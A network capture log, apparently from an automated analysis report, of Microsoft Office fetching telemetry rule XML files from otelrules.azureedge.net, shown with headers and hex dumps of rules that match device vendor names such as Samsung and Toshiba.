2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-16849878b78j7llf5vkyvvcehs00000007eg000000006m80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-16849878b786jv8w2kpaf5zkqs000000054000000000ew6v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-16849878b782d4lwcu6h6gmxnw00000005x000000000ex28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4f99c795-b01e-0097-3bfd-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094740Z-15b8d89586ff5l62aha9080wv000000007m000000000898p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:39 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:39 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094739Z-16849878b78zqkvcwgr6h55x9n00000005v0000000004cmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:40 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 789f6287-101e-0065-355f-284088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094740Z-15b8d89586fzcfbd8we4bvhqds00000001d0000000000etr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:40 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094740Z-16849878b785jrf8dn0d2rczaw00000007fg000000009d9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:40 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094740Z-16849878b78smng4k6nq15r6s400000007y00000000033cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:40 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094740Z-16849878b785jrf8dn0d2rczaw00000007g0000000009161 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:40 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:40 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094740Z-16849878b78p49s6zkwt11bbkn000000061g0000000055ap x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:41 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:41 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094741Z-16849878b78km6fmmkbenhx76n00000005sg000000003aur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:41 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094741Z-16849878b785jrf8dn0d2rczaw00000007k000000000440s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U 